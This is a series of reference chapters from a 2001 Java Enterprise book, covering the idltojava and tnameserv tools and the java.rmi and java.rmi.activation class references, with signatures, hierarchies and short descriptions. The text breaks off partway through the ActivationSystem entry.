Previous | Home | Next
11.14. Trading Service | Book Index | 12. Java IDL Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java IDL Tools (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 12. Java IDL Tools

idltojava Java 2 SDK 1.2 and later
The Java IDL Compiler
idltojava [ options ] IDLfiles

Description: The idltojava compiler generates Java source files from IDL interface, module, and type descriptions. The compiler ostensibly follows the standard IDL Java mapping defined by the OMG. Note that according to the standard mapping, a single IDL construct may result in several Java constructs being generated. A single IDL interface, for example, generates five Java source files.

Description: The idltojava compiler performs a preprocessing stage during compilation, much like a C or C++ compiler. The preprocessor accepts #define, #undefine, #include, and #pragma directives for preprocessing. Some of the compiler options are related to this preprocessing stage. The #pragma directives that idltojava accepts are:

#pragma prefix repos_prefix

Prepend the given prefix name to any repository names. Note that Java IDL does not support the CORBA Interface Repository, so the usefulness of this option is questionable.

#pragma javaPackage rootPackage

Place all packages generated from the IDL file within the given root package.

Description: Note that #pragma directives must appear at the beginning of the IDL file.

-D symbol=value

Define the named symbol with the given value during preprocessing of the IDL file. This command, for example:

% idltojava -DmaxArray=10 myFile.idl

causes the preprocessor to have the symbol maxArray defined as specified during preprocessing of the IDL file myFile.idl.

-f flag-name
-fno-flag-name

This option turns on and off execution flags for the compiler. The option with just the flag name turns on the named flag, and the option with no- followed by the flag name turns off the named flag. There is no space after the -f in both cases.

The possible flags are listed in the following table:

Flag name | Default | Description
caseless | off | Compile the IDL without considering case when comparing identifiers.
client | on | Generate client-side Java stubs for the IDL entities encountered.
cpp | on | Run a C/C++ preprocessor over the IDL files before compilation. An error is reported and compilation stops if the preprocessor is not found. Affected by the CPP and CPPARGS environment variables described in the next section, or uses the defaults if none given.
list-flags | off | Print the value of all the flags used for compilation.
list-options | off | Print a list of the command-line options used for compilation.
map-included-files | off | Generate Java code for any IDL files included by #include directives.
portable | on | Generate portable stub and skeleton Java classes (e.g., code that uses the CORBA portability layer provided in the org.omg.CORBA.portable package).
server | on | Generate server-side Java skeletons for the IDL entities encountered.
tie | off | Generate xxxTie and xxxOperations classes for each server skeleton, thus making them eligible for use in delegation-based operation.
verbose | off | Print extensive messages on the compilation procedure.
version | off | Print the version number and timestamp for the idltojava compiler in use.
write-files | on | Write the generated Java source files to the destination directory. If this flag is off, the compiler is acting as simply an IDL syntax checker.
-I path

The given path should be used to search for files specified in #include directives found in the IDL file. There is no space between the -I and the path.

-j path

The given path should be used as the destination for the generated Java source files. If a Java class is mapped to a Java package, the compiler creates subdirectories in the given destination automatically to store the Java files. There is a space between the -j and the path.

-U symbol

The named symbol should be undefined when the compiler starts preprocessing the IDL files. There is no space between the -U and the symbol name.

CPP

The full path to a C/C++ pre-processor to use when the cpp flag is on during compilation. If this variable is not set in the environment, the idltojava compiler uses a default of /usr/ccs/lib/cpp on Solaris and the Microsoft Visual C++ preprocessor on Windows systems.

CPPARGS

A list of arguments to be passed to the preprocessor.

Bugs: As of this writing, Sun still has not released a final version of idltojava to correspond to the final Java IDL API included in the Java SDK 1.2. The current available version is the early-access version, which has the following notable bugs:

  • Adjacent string literals cause a syntax error, instead of being concatenated as defined in the IDL specification.

  • A special modifier method, accepting a discriminator value, is not generated in the Java code for IDL unions with multicase branches.

  • Any context clauses on IDL method declarations are ignored silently.

tnameserv Java 2 SDK 1.2 and later
The Java IDL Naming Service Daemon
tnameserv [ options ]

Description: The tnameserv daemon is the CORBA Naming Service daemon provided with Java IDL. The Naming Service allows remote CORBA objects to be bound to names with the naming directory of the service. Remote clients can connect to the Naming Service through standard CORBA APIs and ask for references to these objects by name or browse through the objects bound to names in the directory.

Description: The daemon should be run in the background. The tnameserv implementation of the Naming Service is a nonpersistent one (i.e., bindings created and stored in the naming context are only valid during the lifetime of the tnameserv daemon).

-ORBInitialPort portnum

Listen to the specified port for client requests on the Naming Service. The default port is 900. This option corresponds to the Java property org.omg.CORBA.ORBInitialPort.

Previous | Home | Next
11.15. Collection Service | Book Index | Part 3. API Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 13. The java.rmi Package

The java.rmi package is the main RMI package; it contains the principle objects used in RMI clients and servers. Figure 13-1 shows the class hierarchy for this package.

The Remote interface and the Naming class define and locate RMI objects over the network. The RMISecurityManager class provides additional security semantics required for RMI interactions. The MarshalledObject class is used during remote method calls for certain method arguments. In addition, this core package contains a number of basic RMI exception types used during remote object lookups and remote method calls.

Figure 13-1. The java.rmi package

AccessException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This subclass of RemoteException is thrown when you attempt to perform an improper operation on a Naming or Registry object. A registry allows only local requests to bind, rebind, or unbind objects, so an attempt to call one of these methods on a remote registry results in an AccessException being thrown.

public class AccessException extends RemoteException {
// | Public Constructors
 | public AccessException (String s);
 | public AccessException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->AccessException

Thrown By: java.rmi.registry.Registry.{bind(), list(), lookup(), rebind(), unbind()}

AlreadyBoundException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

An exception that's thrown when an attempt is made to bind an object to a name that is already bound.

public class AlreadyBoundException extends Exception {
// | Public Constructors
 | public AlreadyBoundException ();
 | public AlreadyBoundException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->AlreadyBoundException

Thrown By: Naming.bind(), java.rmi.registry.Registry.bind()

ConnectException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

A RemoteException that's thrown when a remote host refuses to connect during a remote method call.

public class ConnectException extends RemoteException {
// | Public Constructors
 | public ConnectException (String s);
 | public ConnectException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ConnectException

ConnectIOException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

A RemoteException that's thrown if there is an I/O error while attempting to make a remote method call.

public class ConnectIOException extends RemoteException {
// | Public Constructors
 | public ConnectIOException (String s);
 | public ConnectIOException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ConnectIOException

MarshalException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

A RemoteException that's thrown if an I/O error occurs while attempting to marshal any part of a remote method call (header data or method arguments).

public class MarshalException extends RemoteException {
// | Public Constructors
 | public MarshalException (String s);
 | public MarshalException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->MarshalException

MarshalledObject | Java 1.2
java.rmi | serializable

A MarshalledObject represents an object that has been serialized and marshalled according to the RMI specification. If the original object was a remote object reference, the MarshalledObject contains a serialized stub for the object. Otherwise, the object is serialized and tagged with a codebase URL that can be used on the receiving end to find the class definition for the object, if needed.

The MarshalledObject constructor allows you to serialize an existing object into marshalled form. The get() method returns a copy of the serialized object it contains. You can also compare the equality of the serialized objects of two MarshalledObject objects.

MarshalledObject objects are used primarily by the RMI activation API, to allow for the passing of initialization parameters for activated objects in a standard way, for example.

public final class MarshalledObject implements Serializable {
// | Public Constructors
 | public MarshalledObject (Object obj) throws IOException;
// | Public Instance Methods
 | public Object get () throws IOException, ClassNotFoundException;
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->MarshalledObject(Serializable)

Passed To: java.rmi.activation.Activatable.{Activatable(), exportObject()}, java.rmi.activation.ActivationDesc.ActivationDesc(), java.rmi.activation.ActivationGroup.activeObject(), java.rmi.activation.ActivationGroupDesc.ActivationGroupDesc(), java.rmi.activation.ActivationMonitor.activeObject()

Returned By: java.rmi.activation.ActivationDesc.getData(), java.rmi.activation.ActivationGroup.newInstance(), java.rmi.activation.ActivationGroup_Stub.newInstance(), java.rmi.activation.ActivationGroupDesc.getData(), java.rmi.activation.ActivationInstantiator.newInstance(), java.rmi.activation.Activator.activate()

Naming | Java 1.1
java.rmi | PJ1.1(opt)

This is the primary application interface to the naming service within the RMI registry. You can get references to remote objects with the lookup() method. To bind local object implementations to names within the local registry, use the bind() and rebind() methods. Locally bound objects can be removed from the name registry using unbind(). To obtain all of the names for objects currently stored in the registry, use the list() method.

Each name argument to the methods on the Naming interface takes the form of a URL (e.g., rmi://remoteHost:port/objName). If you are referencing a local object and the object is exported to the default registry port, the URL can simply take the form of the object's name in the local registry, (e.g., objName). This is possible because the rmi: protocol is assumed if it isn't present in the URL and the default host is the local host.

Note that while the lookup() method can reference any remote RMI registry, the bind(), rebind(), and unbind() methods can only be called on the local registry. Attempting to call these methods against a remote registry results in an AccessException being thrown.

public final class Naming {
// | No Constructor
// | Public Class Methods
 | public static void bind (String name, Remote obj) throws AlreadyBoundException, java.net.MalformedURLException, RemoteException;
 | public static String[ ] list (String name) throws RemoteException, java.net.MalformedURLException;
 | public static Remote lookup (String name) throws NotBoundException, java.net.MalformedURLException, RemoteException;
 | public static void rebind (String name, Remote obj) throws RemoteException, java.net.MalformedURLException;
 | public static void unbind (String name) throws RemoteException, NotBoundException, java.net.MalformedURLException;
}
NoSuchObjectException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This subclass of RemoteException is thrown when you attempt to invoke a method on a remote object that is no longer available.

public class NoSuchObjectException extends RemoteException {
// | Public Constructors
 | public NoSuchObjectException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->NoSuchObjectException

Thrown By: java.rmi.activation.Activatable.unexportObject(), java.rmi.server.RemoteObject.toStub(), java.rmi.server.UnicastRemoteObject.unexportObject()

NotBoundException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

An exception that is thrown by a Naming instance when a lookup is attempted using a name with no object bound to it.

public class NotBoundException extends Exception {
// | Public Constructors
 | public NotBoundException ();
 | public NotBoundException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NotBoundException

Thrown By: Naming.{lookup(), unbind()}, java.rmi.registry.Registry.{lookup(), unbind()}

Remote | Java 1.1
java.rmi | remote PJ1.1(opt)

Every remote object must implement the Remote interface. In addition, any methods you want to be remotely callable must be defined within an interface that extends the Remote interface. This is a place-holder interface that identifies all remote objects, but doesn't define any methods of its own.

public abstract interface Remote {
}

Implementations: java.rmi.activation.ActivationGroup_Stub, java.rmi.activation.ActivationInstantiator, java.rmi.activation.ActivationMonitor, java.rmi.activation.ActivationSystem, java.rmi.activation.Activator, java.rmi.dgc.DGC, java.rmi.registry.Registry, java.rmi.server.RemoteObject, javax.ejb.EJBHome, javax.ejb.EJBObject

Passed To: Naming.{bind(), rebind()}, java.rmi.activation.Activatable.{exportObject(), unexportObject()}, java.rmi.activation.ActivationGroup.activeObject(), java.rmi.registry.Registry.{bind(), rebind()}, java.rmi.server.RemoteObject.toStub(), java.rmi.server.RemoteRef.invoke(), java.rmi.server.ServerRef.exportObject(), java.rmi.server.Skeleton.dispatch(), java.rmi.server.UnicastRemoteObject.{exportObject(), unexportObject()}

Returned By: Naming.lookup(), java.rmi.activation.Activatable.{exportObject(), register()}, java.rmi.activation.ActivationID.activate(), java.rmi.registry.Registry.lookup(), java.rmi.server.RemoteObject.toStub(), java.rmi.server.UnicastRemoteObject.exportObject()

RemoteException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This subclass of IOException is thrown when an error occurs during any remote object operation. The RemoteException includes a Throwable data member that represents the nested exception that caused the RemoteException to be thrown. For example, if an exception occurs on the server while executing a remote method, the client receives a RemoteException (in the form of a ServerException, one of its subclasses) with its Throwable data member initialized to the server-side exception that caused the client-side RemoteException to be delivered.

public class RemoteException extends IOException {
// | Public Constructors
 | public RemoteException (); |
 | public RemoteException (String s); |
 | public RemoteException (String s, Throwable ex); |
// | Public methods overriding Throwable
 | public String getMessage (); | default:null
1.2 | public void printStackTrace (); |
1.2 | public void printStackTrace (PrintStream ps); |
1.2 | public void printStackTrace (PrintWriter pw); |
// | Public Instance Fields
 | public Throwable detail ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException

Subclasses: AccessException, java.rmi.ConnectException, ConnectIOException, MarshalException, NoSuchObjectException, ServerError, ServerException, ServerRuntimeException, StubNotFoundException, UnexpectedException, java.rmi.UnknownHostException, UnmarshalException, java.rmi.activation.ActivateFailedException, java.rmi.server.ExportException, java.rmi.server.SkeletonMismatchException, java.rmi.server.SkeletonNotFoundException, javax.transaction.InvalidTransactionException, javax.transaction.TransactionRequiredException, javax.transaction.TransactionRolledbackException

Thrown By: Too many methods to list.

RMISecurityException | Java 1.1; Deprecated in Java 1.2
java.rmi | serializable unchecked PJ1.1(opt)

A SecurityException thrown by the RMISecurityManager when a security violation is detected during a remote operation.

public class RMISecurityException extends SecurityException {
// | Public Constructors
# | public RMISecurityException (String name);
# | public RMISecurityException (String name, String arg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->SecurityException-->RMISecurityException

RMISecurityManager class | Java 1.1
java.rmi | PJ1.1(opt)

The RMISecurityManager enforces the security policy for classes that are loaded as stubs for remote objects, by overriding all relevant access-check methods from the SecurityManager. By default, stub objects are only allowed to perform class definition and class access operations. If you don't set the local security manager as RMISecurityManager (using the System.setSecurityManager() method), stub classes are only loadable from the local filesystem. Applets engaging in RMI calls do not need to use the RMISecurityManager, since the security manager provided by the browser does the necessary access control on loading remote classes, etc.

You don't normally need to interact with the RMISecurityManager directly within your application code, except to set it as the system security manager before starting your RMI code.

public class RMISecurityManager extends SecurityManager {
// | Public Constructors
 | public RMISecurityManager ();
}

Hierarchy: Object-->SecurityManager-->RMISecurityManager

ServerError class | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

A nonrecoverable error that occurs while a server is executing a remote method. The nested Throwable data member (inherited from RemoteException) contains the server-side exception that generated the error.

public class ServerError extends RemoteException {
// | Public Constructors
 | public ServerError (String s, Error err);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ServerError

ServerException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This exception is thrown if a RemoteException is thrown while the server object is executing a remote method.

public class ServerException extends RemoteException {
// | Public Constructors
 | public ServerException (String s);
 | public ServerException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ServerException

ServerRuntimeException | Java 1.1; Deprecated in Java 1.2
java.rmi | serializable checked PJ1.1(opt)

An exception that occurs if a RuntimeException is thrown while a server object is executing a remote method. The nested Throwable data member (inherited from RemoteException) contains the server-side runtime exception that generated the exception.

public class ServerRuntimeException extends RemoteException {
// | Public Constructors
# | public ServerRuntimeException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ServerRuntimeException

StubNotFoundException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This exception can occur either when an object is being exported to participate in remote RMI calls or during a remote method call. During export on the server, this exception is thrown if the stub class for the object cannot be found or used for some reason (e.g., the stub class isn't in the CLASSPATH of the server process or the stub class can't be instantiated). During a remote method call, the client can receive this exception if the remote object hasn't been exported completely or correctly.

public class StubNotFoundException extends RemoteException {
// | Public Constructors
 | public StubNotFoundException (String s);
 | public StubNotFoundException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->StubNotFoundException

UnexpectedException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

An UnexpectedException is thrown if an exception that isn't specified on a remote method's signature is encountered during the return from a remote method call. The unexpected exception can occur on the server or on the client. The nested Throwable object (inherited from RemoteException) contains the actual exception that occurred.

public class UnexpectedException extends RemoteException {
// | Public Constructors
 | public UnexpectedException (String s);
 | public UnexpectedException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->UnexpectedException

UnknownHostException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This RemoteException is thrown if the host specified during a Naming lookup cannot be found.

public class UnknownHostException extends RemoteException {
// | Public Constructors
 | public UnknownHostException (String s);
 | public UnknownHostException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->UnknownHostException

Thrown By: java.rmi.registry.RegistryHandler.registryStub()

UnmarshalException | Java 1.1
java.rmi | serializable checked PJ1.1(opt)

This RemoteException is thrown if an error occurs while unmarshalling the return value from a remote method call. The source of the error could be an I/O error while sending the header or the value of the return from the server to the client, or the fact that the class of the return object is not found.

public class UnmarshalException extends RemoteException {
// | Public Constructors
 | public UnmarshalException (String s);
 | public UnmarshalException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->UnmarshalException

Previous | Home | Next
Reading a Quick Reference Entry | Book Index | 14. The java.rmi.activation Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.activation Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 14. The java.rmi.activation Package

The java.rmi.activation package contains the interfaces, classes, and exceptions that represent the RMI activation system, introduced in Java 2. This RMI service allows you to define remote objects that are not instantiated on the server until a client request triggers their activation. The activation system provides the means to specify how a remote object is activated and how activated objects are grouped into Java VMs. The activation also supports persistent remote references, or in other words, references to remote objects that can persist beyond the lifetime of an individual server object. Figure 14-1 shows the class hierarchy for this package.

Figure 14-1. The java.rmi.activation package

Activatable | Java 1.2
java.rmi.activation | serializable remote

This abstract subclass of java.rmi.server.RemoteServer represents a server object that is persistent and activatable. This is in contrast to a java.rmi.server.UnicastRemoteObject, which represents a server object that is only available during the lifetime of the server process. Both UnicastRemoteObject objects and Activatable objects support only point-to-point communication, however.

The Activatable class provides a set of constructors and a corresponding set of static exportObject() methods that can be used to register and export server objects, either pre-instantiated or not. The exportObject() methods are provided for server objects that choose not to extend the Activatable class. Other static methods are the register() method, which can be used to register an activatable object without instantiating it, the unexportObject() method, which removes the specified object from the RMI runtime system, the unregister() method, which removes the activation registration for the given ActivationID, and the inactive() method, which tells the activation system that the object associated with the given ActivationID should be inactivated. The getID() method is an instance method that allows you to get the ActivationID for a server object.

public abstract class Activatable extends java.rmi.server.RemoteServer {
// | Protected Constructors
 | protected Activatable (ActivationID id, int port) throws RemoteException;
 | protected Activatable (ActivationID id, int port, java.rmi.server.RMIClientSocketFactory csf, java.rmi.server.RMIServerSocketFactory ssf) throws RemoteException;
 | protected Activatable (String location, MarshalledObject data, boolean restart, int port) throws ActivationException, RemoteException;
 | protected Activatable (String location, MarshalledObject data, boolean restart, int port, java.rmi.server.RMIClientSocketFactory csf, java.rmi.server.RMIServerSocketFactory ssf) throws ActivationException, RemoteException;
// | Public Class Methods
 | public static Remote exportObject (Remote obj, ActivationID id, int port) throws RemoteException;
 | public static ActivationID exportObject (Remote obj, String location, MarshalledObject data, boolean restart, int port) throws ActivationException, RemoteException;
 | public static Remote exportObject (Remote obj, ActivationID id, int port, java.rmi.server.RMIClientSocketFactory csf, java.rmi.server.RMIServerSocketFactory ssf) throws RemoteException;
 | public static ActivationID exportObject (Remote obj, String location, MarshalledObject data, boolean restart, int port, java.rmi.server.RMIClientSocketFactory csf, java.rmi.server.RMIServerSocketFactory ssf) throws ActivationException, RemoteException;
 | public static boolean inactive (ActivationID id) throws UnknownObjectException, ActivationException, RemoteException;
 | public static Remote register (ActivationDesc desc) throws UnknownGroupException, ActivationException, RemoteException;
 | public static boolean unexportObject (Remote obj, boolean force) throws NoSuchObjectException;
 | public static void unregister (ActivationID id) throws UnknownObjectException, ActivationException, RemoteException;
// | Protected Instance Methods
 | protected ActivationID getID ();
}

Hierarchy: Object-->java.rmi.server.RemoteObject(Remote,Serializable)-->java.rmi.server.RemoteServer-->Activatable

ActivateFailedException | Java 1.2
java.rmi.activation | serializable checked

This subclass of RemoteException is thrown to a client when a remote method call fails because the object could not be activated.

public class ActivateFailedException extends RemoteException {
// | Public Constructors
 | public ActivateFailedException (String s);
 | public ActivateFailedException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ActivateFailedException

ActivationDesc | Java 1.2
java.rmi.activation | serializable

An ActivationDesc represents a description for how a remote object should be activated. It contains an activation group ID for the object, the class name for the object to be instantiated, a codebase that can be used to load the class description, if necessary, and a MarshalledObject that contains object-specific initialization data. Once an ActivationDesc has been created, it can be used to register an object for activation using the Activatable.register() method.

public final class ActivationDesc implements Serializable {
// | Public Constructors
 | public ActivationDesc (String className, String location, MarshalledObject data) throws ActivationException;
 | public ActivationDesc (ActivationGroupID groupID, String className, String location, MarshalledObject data);
 | public ActivationDesc (String className, String location, MarshalledObject data, boolean restart) throws ActivationException;
 | public ActivationDesc (ActivationGroupID groupID, String className, String location, MarshalledObject data, boolean restart);
// | Public Instance Methods
 | public String getClassName ();
 | public MarshalledObject getData ();
 | public ActivationGroupID getGroupID ();
 | public String getLocation ();
 | public boolean getRestartMode ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->ActivationDesc(Serializable)

Passed To: Activatable.register(), ActivationGroup.newInstance(), ActivationGroup_Stub.newInstance(), ActivationInstantiator.newInstance(), ActivationSystem.{registerObject(), setActivationDesc()}

Returned By: ActivationSystem.{getActivationDesc(), setActivationDesc()}

ActivationException | Java 1.2
java.rmi.activation | serializable checked

This is a base class used for all nonremote, activation-related exceptions (i.e., exceptions thrown between components of the activation system or by the local activation system to clients invoking its methods).

public class ActivationException extends Exception {
// | Public Constructors
 | public ActivationException (); |
 | public ActivationException (String s); |
 | public ActivationException (String s, Throwable ex); |
// | Public methods overriding Throwable
 | public String getMessage (); | default:null
 | public void printStackTrace (); |
 | public void printStackTrace (PrintWriter pw); |
 | public void printStackTrace (PrintStream ps); |
// | Public Instance Fields
 | public Throwable detail ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ActivationException

Subclasses: UnknownGroupException, UnknownObjectException

Thrown By: Too many methods to list.

ActivationGroup | Java 1.2
java.rmi.activation | serializable remote

An ActivationGroup represents a group of activatable objects that are meant to run within the same Java VM. The ActivationGroup serves as a go-between for the ActivationMonitor and the activatable objects, forwarding messages about the active state of objects in its group. The activeObject() methods forward a message to the activation system about a newly activated object in the group, while the inactiveObject() method does the same for deactivated objects.

You can explicitly create your own ActivationGroup using the createGroup() method. If you don't specify a group ID when you create an ActivationDesc for an activatable object, it is assigned to a default group. When you create an ActivationGroup, you provide an ActivationGroupDesc object that describes how the group is to be created (e.g, from what class the group object should be constructed, or what Properties should be set for the group).

The ActivationGroup class is abstract, so you must provide a concrete implementation in order to create groups. In addition to satisfying the interface defined in ActivationGroup, the subclass must also provide a constructor that takes an ActivationGroupID and a MarshalledObject as arguments. This constructor is invoked by the createGroup() method. A concrete subclass of ActivationGroup must also implement the newInstance() method inherited from ActivationInstantiator.

public abstract class ActivationGroup extends java.rmi.server.UnicastRemoteObjectimplements ActivationInstantiator {
// | Protected Constructors
 | protected ActivationGroup (ActivationGroupID groupID) throws RemoteException; |
// | Public Class Methods
 | public static ActivationGroup createGroup (ActivationGroupID id, ActivationGroupDesc desc, long incarnation) throws ActivationException; | synchronized
 | public static ActivationGroupID currentGroupID (); | synchronized
 | public static ActivationSystem getSystem () throws ActivationException; | synchronized
 | public static void setSystem (ActivationSystem system) throws ActivationException; | synchronized
// | Public Instance Methods
 | public abstract void activeObject (ActivationID id, Remote obj) throws ActivationException, UnknownObjectException, RemoteException; |
 | public boolean inactiveObject (ActivationID id) throws ActivationException, UnknownObjectException, RemoteException; |
// | Methods implementing ActivationInstantiator
 | public abstract MarshalledObject newInstance (ActivationID id, ActivationDesc desc) throws ActivationException, RemoteException; |
// | Protected Instance Methods
 | protected void activeObject (ActivationID id, MarshalledObject mobj) throws ActivationException, UnknownObjectException, RemoteException; |
 | protected void inactiveGroup () throws UnknownGroupException, RemoteException; |
}

Hierarchy: Object-->java.rmi.server.RemoteObject(Remote,Serializable)-->java.rmi.server.RemoteServer-->java.rmi.server.UnicastRemoteObject-->ActivationGroup(ActivationInstantiator(Remote))

Returned By: ActivationGroup.createGroup()

ActivationGroupDesc | Java 1.2
java.rmi.activation | serializable

An ActivationGroupDesc contains the information to create a new activation group. It includes the class that should construct the group object, a codebase that can find the class description, if necessary, and a MarshalledObject containing any additional initialization information required by the group. In addition, each constructor allows you to specify a Properties list that overrides any default runtime properties in the Java VM for the group and a CommandEnvironment object that allows you to customize the Java executable that starts the group's VM and its command-line arguments.

public final class ActivationGroupDesc implements Serializable {
// | Public Constructors
 | public ActivationGroupDesc (java.util.Properties overrides, ActivationGroupDesc.CommandEnvironment cmd);
 | public ActivationGroupDesc (String className, String location, MarshalledObject data, java.util.Properties overrides, ActivationGroupDesc.CommandEnvironment cmd);
// | Inner Classes
 | ;
// | Public Instance Methods
 | public String getClassName ();
 | public ActivationGroupDesc.CommandEnvironment getCommandEnvironment ();
 | public MarshalledObject getData ();
 | public String getLocation ();
 | public java.util.Properties getPropertyOverrides ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->ActivationGroupDesc(Serializable)

Passed To: ActivationGroup.createGroup(), ActivationSystem.{registerGroup(), setActivationGroupDesc()}

Returned By: ActivationSystem.{getActivationGroupDesc(), setActivationGroupDesc()}

ActivationGroupDesc.CommandEnvironment | Java 1.2
java.rmi.activation | serializable

This inner class of ActivationGroupDesc specifies customized startup parameters for the Java VM for an activation group. It contains a command path, which specifies where to find the Java executable to be run, and an array of command-line arguments for the Java executable.

public static class ActivationGroupDesc.CommandEnvironment implements Serializable {
// | Public Constructors
 | public CommandEnvironment (String cmdpath, String[ ] argv);
// | Public Instance Methods
 | public String[ ] getCommandOptions ();
 | public String getCommandPath ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->ActivationGroupDesc.CommandEnvironment(Serializable)

Passed To: ActivationGroupDesc.ActivationGroupDesc()

Returned By: ActivationGroupDesc.getCommandEnvironment()

ActivationGroupID | Java 1.2
java.rmi.activation | serializable

An ActivationGroupID uniquely identifies a group within the activation system. The ActivationGroup can also use its ActivationGroupID to query for its ActivationSystem, if needed. An ActivationGroupID is generated for a new group by the ActivationSystem.registerGroup() method.

public class ActivationGroupID implements Serializable {
// | Public Constructors
 | public ActivationGroupID (ActivationSystem system);
// | Public Instance Methods
 | public ActivationSystem getSystem ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->ActivationGroupID(Serializable)

Passed To: ActivationDesc.ActivationDesc(), ActivationGroup.{ActivationGroup(), createGroup()}, ActivationMonitor.inactiveGroup(), ActivationSystem.{activeGroup(), getActivationGroupDesc(), setActivationGroupDesc(), unregisterGroup()}

Returned By: ActivationDesc.getGroupID(), ActivationGroup.currentGroupID(), ActivationSystem.registerGroup()

ActivationID | Java 1.2
java.rmi.activation | serializable

An ActivationID uniquely identifies an activatable object within the activation system. It also contains an opaque reference to the Activator responsible for activating the object, which it uses when its activate() method is invoked. An ActivationID is generated for an activatable object by registering it using the Activatable.register() method (the stub returned by this method is initialized with the ActivationID) or by using one of the Activatable.exportObject() methods.

public class ActivationID implements Serializable {
// | Public Constructors
 | public ActivationID (Activator activator);
// | Public Instance Methods
 | public Remote activate (boolean force) throws ActivationException, UnknownObjectException, RemoteException;
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->ActivationID(Serializable)

Passed To: Activatable.{Activatable(), exportObject(), inactive(), unregister()}, ActivationGroup.{activeObject(), inactiveObject(), newInstance()}, ActivationGroup_Stub.newInstance(), ActivationInstantiator.newInstance(), ActivationMonitor.{activeObject(), inactiveObject()}, ActivationSystem.{getActivationDesc(), setActivationDesc(), unregisterObject()}, Activator.activate()

Returned By: Activatable.{exportObject(), getID()}, ActivationSystem.registerObject()

ActivationInstantiator | Java 1.2
java.rmi.activation | remote

This interface represents an object that is responsible for activating objects, using its newInstance() method. The arguments to the method provide the ActivationID for the object within the activation system and the ActivationDesc provided for the object when it was registered, which includes the information needed to activate the object. The ActivationGroup class implements this interface; concrete subclasses of ActivationGroup must provide an implementation of the newInstance() method.

public abstract interface ActivationInstantiator extends Remote {
// | Public Instance Methods
 | public abstract MarshalledObject newInstance (ActivationID id, ActivationDesc desc) throws ActivationException, RemoteException;
}

Hierarchy: (ActivationInstantiator(Remote))

Implementations: ActivationGroup, ActivationGroup_Stub

Passed To: ActivationSystem.activeGroup()

ActivationMonitor | Java 1.2
java.rmi.activation | remote

An ActivationMonitor monitors a single activation group. It must be notified by the group when objects within the group become active or inactive or when the group as a whole becomes inactive. This lets the ActivationMonitor know when an object needs to be (re)activated, for example.

public abstract interface ActivationMonitor extends Remote {
// | Public Instance Methods
 | public abstract void activeObject (ActivationID id, MarshalledObject obj) throws UnknownObjectException, RemoteException;
 | public abstract void inactiveGroup (ActivationGroupID id, long incarnation) throws UnknownGroupException, RemoteException;
 | public abstract void inactiveObject (ActivationID id) throws UnknownObjectException, RemoteException;
}

Hierarchy: (ActivationMonitor(Remote))

Returned By: ActivationSystem.activeGroup()

ActivationSystem | Java 1.2
java.rmi.activation | remote

The ActivationSystem is the backbone of the activation runtime. It interacts with Activator objects to activate objects and groups and ActivationMonitor objects to determine when such activations are necessary. The ActivationSystem handling a particular Java VM can be obtained using the static ActivationGroup.getSystem() method.

The methods on the ActivationSystem are largely used by other classes in the activation package to implement various functions. The Activatable.register() method, for example, registers the activatable object by calling the registerObject() method on the ActivationSystem.

public abstract interface ActivationSystem extends Remote {
// | Public Constants
 | public static final int SYSTEM_PORT ; | =1098
// | Public Instance Methods
